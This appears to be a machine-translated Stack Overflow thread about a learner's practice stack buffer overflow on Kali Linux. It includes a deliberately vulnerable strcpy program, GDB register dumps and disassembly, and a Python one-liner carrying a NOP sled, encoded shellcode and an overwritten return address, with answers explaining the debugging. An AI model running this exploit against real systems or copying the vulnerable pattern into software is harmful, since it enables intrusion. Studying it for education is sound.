Пример использования переполнения буфера

Я работаю над некоторыми примерами эксплойтов с переполнением буфера и написал базовое уязвимое приложение C для тестирования с помощью: (цель и злоумышленник - одна и та же машина Kali 2 и выполнили "echo" 0 "> / proc / sys / kernel / randomize_va_space")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if (argc != 2)
        {
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

Теперь, после некоторого тестирования в GDB, я могу вызвать ошибку сегмента, поместив 260 байт в буфер:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')

с регистрами, показывающими:

eax            0x105    261
ecx            0xffffd300   -11520
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0xffffd300   0xffffd300
ebp            0x0  0x0
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

Я думаю, что могу успешно получить контроль над EIP, учитывая 0x424242 выше (хотя EBP - 0x0 ??)

Вопрос 1.

При буфере 260 байт EIP переопределяется, как указано выше. При использовании:

r $(python -c 'print "A" * 512')

Я обнаружил, что SEGSEGV находится по адресу 0x080484b4 с регистрами

eax            0x201    513
ecx            0x41414141   1094795585
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0x4141413d   0x4141413d
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x80484b4    0x80484b4 <main+89>
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

Я бы подумал, что если 260 получит контроль над EIP, не должен ли пример 512 байт тоже? Почему сценарий 512 позволяет EIP указывать на ret в этом случае вместо 0x424242, как в приведенном выше примере буфера на 260 байт?

Вопрос 2.

Я создал полезную нагрузку размером 87 байтов. Я ввел полезную нагрузку в начальные 204 байта, как показано ниже.

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')

Моя главная проблема заключается в следующем

   0x0804845b <+0>: lea    0x4(%esp),%ecx
   0x0804845f <+4>: and    $0xfffffff0,%esp
   0x08048462 <+7>: pushl  -0x4(%ecx)
   0x08048465 <+10>:    push   %ebp
   0x08048466 <+11>:    mov    %esp,%ebp
   0x08048468 <+13>:    push   %ecx
   0x08048469 <+14>:    sub    $0x104,%esp
   0x0804846f <+20>:    mov    %ecx,%eax
   0x08048471 <+22>:    cmpl   $0x2,(%eax)
   0x08048474 <+25>:    je     0x8048480 <main+37>
   0x08048476 <+27>:    sub    $0xc,%esp
   0x08048479 <+30>:    push   $0x0
   0x0804847b <+32>:    call   0x8048340 <exit@plt>
   0x08048480 <+37>:    mov    0x4(%eax),%eax
   0x08048483 <+40>:    add    $0x4,%eax
   0x08048486 <+43>:    mov    (%eax),%eax
   0x08048488 <+45>:    sub    $0x8,%esp
   0x0804848b <+48>:    push   %eax
   0x0804848c <+49>:    lea    -0x108(%ebp),%eax
   0x08048492 <+55>:    push   %eax
   0x08048493 <+56>:    call   0x8048310 <strcpy@plt>
   0x08048498 <+61>:    add    $0x10,%esp
   0x0804849b <+64>:    sub    $0xc,%esp
   0x0804849e <+67>:    lea    -0x108(%ebp),%eax
   0x080484a4 <+73>:    push   %eax
   0x080484a5 <+74>:    call   0x8048320 <puts@plt>
   0x080484aa <+79>:    add    $0x10,%esp
   0x080484ad <+82>:    mov    -0x4(%ebp),%ecx
   0x080484b0 <+85>:    leave  
   0x080484b1 <+86>:    lea    -0x4(%ecx),%esp
=> 0x080484b4 <+89>:    ret  

Сделав паузу на 56 (0x08048493) и изучив ESP x / 2wx $ esp, я могу обнаружить, что:

0xffffd220: 0xffffd230  0xffffd56b

и х / с 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>

Итак, можно сделать вывод (надеюсь, правильно), что EIP должен быть \ x6b \ xd5 \ xff \ xff для вызова эксплойта и заменять все части, как показано ниже (с помощью nop sled):

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')

К сожалению, теперь программа просто завершается нормально с сообщением «[Нижний предел 1 (процесс 2863) завершился нормально]». Я что-то упускаю или просто сбился с правильного пути ...? Также я заметил, что в приведенном выше утверждении нет разрывов?

-- Редактировать

Перефразировано, чтобы было больше смысла после ухода от часов на экране :)


person TheITGuy    schedule 08.11.2015    source источник
comment
Современные операционные системы не позволяют изменять инструкции, поэтому, если вы пытаетесь перезаписать инструкцию ret, это приведет к ошибке. Кроме того, что вы имеете в виду «заполнить EIP»? EIP - это указатель инструкции.   -  person Bobby Sacamano    schedule 08.11.2015
comment
@BobbySacamano: не обязательно, если код находится в стеке. Стек читается и записывается. И не все операционные системы препятствуют выполнению кода в стеке (поскольку некоторые операционные системы помещают в стек код трамплина). Код эксплойта буфера окажется в стеке, поэтому это зависит от того, разрешает ли ОС выполнять код в стеке.   -  person Michael Petch    schedule 08.11.2015
comment
@MichaelPetch, хороший момент. Иногда я забываю об атаках на выполнение данных. Думаю, для ответа на этот вопрос требуется дополнительная информация.   -  person Bobby Sacamano    schedule 08.11.2015
comment
Забыл упомянуть, что я запускаю это на Kali linux - как злоумышленник, так и цель. Я также запустил: sudo echo 0 ›/ proc / sys / kernel / randomize_va_space, чтобы отключить ASLR   -  person TheITGuy    schedule 08.11.2015
comment
@Bobby - fill EIP - я имел в виду, что 0x424242 переопределяет регистр EIP в случае 1. При заполнении буфера 512 байтами это не дает того же эффекта.   -  person TheITGuy    schedule 08.11.2015
comment
@Michael - Я также, кажется, обнаружил, что регистр EBP равен 0x0, ESP указывает на 0x434343, а EIP - 0x424242. Какая еще информация нужна вам, чтобы помочь ответить?   -  person TheITGuy    schedule 08.11.2015
comment
Разборка main помогла бы. Каким-то образом вы перезаписываете esp, что затем вызывает ошибку в ret. Также обратите внимание, что аргументы находятся в стеке, поэтому, если вы измените аргументы, макет стека изменится.   -  person Jester    schedule 08.11.2015
comment
@Jester - Добавили дополнительную информацию и изменили формулировку - спасибо.   -  person TheITGuy    schedule 09.11.2015


Ответы (1)


Обратите внимание, что исходный указатель стека сохраняется в стеке и восстанавливается непосредственно перед ret. Поэтому, если вы перезаписываете стек, вы также можете перезаписать указатель стека, который будет использоваться для ret. main в этом смысле особенный, потому что в прологе есть код выравнивания стека.

Тем не менее, ожидаемое поведение - это на самом деле второй случай, а первый - особый. Ваша строка имеет правильную длину, поэтому завершающий ноль перезаписывает младший байт сохраненного указателя стека, чего достаточно, чтобы он указывал немного ниже в памяти, но все еще в вашей строке. Точное расположение будет зависеть от макета стека, это не всегда будет ваш BBBB, на самом деле для меня это где-то в AAAA части. Обратите внимание, что даже при отключенном ASLR макет стека может измениться из-за среды, поэтому, даже если у вас есть эксплойт, работающий в gdb, он может работать ненадежно или вообще не работать из оболочки.

person Jester    schedule 09.11.2015
comment
спасибо за ответ, я думаю, что это имеет некоторый смысл на мой взгляд. Сказав это, как я могу заставить этот эксплойт работать? - person TheITGuy; 09.11.2015
comment
Если вы написали это для себя в качестве практики, вы можете поместить все в отдельную функцию и не использовать main - это будет проще, потому что другие функции не имеют кода выравнивания стека. Кроме того, в реальной жизни вы редко эксплуатируете сам main. - person Jester; 09.11.2015
comment
спасибо - я переместил логику переполнения в функцию и вызвал ее из main. Теперь я вижу, что проблема в пункте 1 выше исчезла, и эксплойт вроде как работает. Я получаю / bin / dash: 0: не могу открыть в gdb. Вероятно, это проблема переполнения или больше связано с самим эксплойтом? - person TheITGuy; 10.11.2015
comment
Кажется, что \ x0d изначально вызывал мою проблему. msfvenom, кажется, выдает ошибку при удалении \ x00 \ xff \ x0a \ x0d (когда я удалил \ x0d, это сработало). В итоге я добавил дополнительные итерации, и, похоже, это решило. Затем у меня была аналогичная проблема с \ x09, я сравнил шестнадцатеричный код с моим параметром и удалил его. Спасибо за ваш отзыв! - person TheITGuy; 10.11.2015